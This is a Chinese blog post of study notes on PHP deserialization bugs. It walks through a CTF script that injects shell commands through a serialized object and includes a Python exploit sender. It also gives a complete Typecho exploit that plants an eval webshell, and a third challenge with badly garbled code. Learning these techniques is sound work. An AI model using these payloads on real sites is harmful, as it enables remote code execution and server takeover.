Fork me on GitHub

php反序列化笔记1

在freebuf上看到了一篇新的php反序列化的文章,借此继续分析一下php反序列化。

文章中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

error_reporting(0);

class come{

private $method;

private $args;

function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

}

function __wakeup(){

foreach($this->args as $k => $v) {

$this->args[$k] = $this->waf(trim($v));

}

}

function waf($str){

$str=preg_replace("/[<>*;|?\n ]/","",$str);

$str=str_replace('flag','',$str);

return $str;

}

function echos($host){

system("echos $host".$host);

}

function __destruct(){

if (in_array($this->method, array("echos"))) {

call_user_func_array(array($this, $this->method), $this->args);

}

}

}

$first='hi';

$var='var';

$bbb='bbb';

$ccc='ccc';

$i=1;

foreach($_GET as $key => $value) {

if($i===1)

{

$i++;

$$key = $value;

}

else{break;}

}

if($first==="doller")

{
var_dump($_GET['a']);
@parse_str($_GET['a']);

if($var==="give")

{

if($bbb==="me")

{

if($ccc==="flag")

{

echo"<br>welcome!<br>";

$come=@$_POST['come'];

unserialize($come);

}

}

else

{echo "<br>think about it<br>";}

}

else

{

echo "NO";

}

}

else

{

echo "Can you hack me?<br>";

}

?>

有两个小trick需要绕过,都是变量覆盖的漏洞,同时parse_str函数需要接受的是一个字符串,为了在浏览器栏中输入需要将&符号进行URL编码

http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag

这样就能绕过两个小trick

之后就是怎么利用那个反序列化了,__construct函数没有什么用,__wakeup方法会将私有属性args通过一个waf函数进行过滤,__destruct函数中有一个危险函数call_user_func_array,注意到调用这个函数的时候传入的是一个数组,其实就是调用这个this类中的一个方法。但是之前的if判断限制了调用的方法只能是echos,分析echos方法发现其中有一个system函数,但是echo错误的拼成了echos :laughing:

于是我们的思路就是通过传入反序列化后的值使得echos函数被调用执行我们的命令,这就设计到在Linux或者Windows中一行执行多条命令的方式。

在Linux中:

&是不管前后命令是否执行成功都会执行前后命令
&&是前面的命令执行成功才能执行后面的命令
||是前面的命令执行不成功才能执行后面的命令
|管道符

构造出反序列化数据如下:

O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}

但是。。。
quicker_bbf51071-3a91-4657-8c29-6818d4d0ba4e.png

var_dump一下发现了:

:\ProgramFiles\phpstudy\PHPTutorial\WWW\test\unserialize.php:104:string 'O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"' (length=44)

发现数据被截断了。。

var_dump之前的构造的反序列化数据:

1
2
O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}F:\notes\audit\test.php:8:  ---> echo出来的结果
string(86) "O:4:"come":2:{s:10:"\000come\000args";a:1:{i:0;s:4:"&dir";}s:12:"\000come\000method";s:5:"echos";}" ---> var_dump出来的结果

因为php在反序列化数据时:

protected属性的表示方式是在变量名前加个%00*%00
private表示方式是在变量名前加上%00类名%00

所以次数的两个private属性都被加上了00阶段符号,于是只能通过python手动编码传输数据了

1
2
3
4
5
6
7
8
9
10
import requests


url = "http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag"

n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:4:"&dir";}}"'

r = requests.post(url, data={"come":o})
print r.text

返回的结果如下:

之后如果要读取flag还有几个姿势,但不是本文的重点了

typecho反序列化漏洞

先放出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Typecho_Request
{
private $_filter=array("assert");
private $_params=array("screenName"=>"file_put_contents('jrxnm.php', '<?php eval(\$_GET[jrxnm]);');");
}


class Typecho_Feed
{
private $_items = array();
private $_type = 'RSS 2.0';
function __construct(){
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}

}

$abc = new Typecho_Feed();
echo base64_encode(serialize(array("adapter"=>$abc,"prefix"=>"_typecho")));

序列化一个数组之后作为cookie传入,关键代码:

此处$config接收cookie中的参数,那么$config此时就是一个数组:

$config = array("adapter"=>$abc, "prefix"=>"_typecho")

其中adapter键对应的是一个对象。

typ3.png

然后$config的两个键值对应的value都作为参数进入了一个类。

查看该类的构造方法发现存在字符串拼接:

typ4.png

那么查找__toString()魔术方法,我们发现在Feed.php文件中的一个类:Typecho_Feed

typ7.png

$item['author']->screenName如果$item[‘author’] 是一个对象,且不存在screenName属性时,会自动调用__get魔法函数。

于是我们想要在实例化Typecho_Db类的时候,调用Typecho_Feed类中的__toString方法

此时继续寻找__get方法:

在Request.php文件中有一个类Typecho_Request中的__get方法如下:

1
2
3
4
5
6
7
8
9
10
11
/**
* 获取实际传递参数(magic)
*
* @access public
* @param string $key 指定参数
* @return void
*/
public function __get($key)
{
return $this->get($key);
}

继续分析get方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function get($key, $default = NULL)
{
$value = $default;

switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset($_GET[$key]):
$value = $_GET[$key];
break;
case isset($_POST[$key]):
$value = $_POST[$key];
break;
case isset($_COOKIE[$key]):
$value = $_COOKIE[$key];
break;
default:
$value = $default;
break;
}

$value = is_array($value) || strlen($value) > 0 ? $value : $default;
return $this->_filter ? $this->_applyFilter($value) : $value;
}

如果$this->_filter,就会调用_applyFilter方法:

1
2
3
4
5
6
7
8
9
10
11
12
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
}

$this->_filter = array();
return $value;
}

此时终于看到了call_user_func方法,函数名是this->_filter

再看一道反序列化

``php
<?php
class Template{
public $cacheFile = ‘/tmp/cachefile’;
public $template = ‘

welcome back %s
‘;

public function __construct($data=null)
{
    $data=$this->lodaData($data);
    $this->render($data);
}

public function loadData($data){
    if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){
        return unserialize($data);
    }
    return [];
}

public function createCache($file=null, $tpl=null){
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
}

public function render($data){
    echo sprintf($this->template, htmlspecialchars($data['name']));
}

public function __destruct()
{
    $this->createCache();
}

}

new Template($_COOKIE[‘data’]);

1
2
3
4
5
6
7
8
9
10
11
12

这道题也是反序列化的应用,利用思路很清晰就是通过`__destruct`调用`createCache`写入一个webshell

重点在于这里:

```php
public function loadData($data){
if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){
return unserialize($data);
}
return [];
}

如果绕过这个if判断,这里需要分析一下php的源码:在’O:’,后面可以增加’+’,用来绕过正则判断。

参考

PHP反序列化漏洞简介及相关技巧小结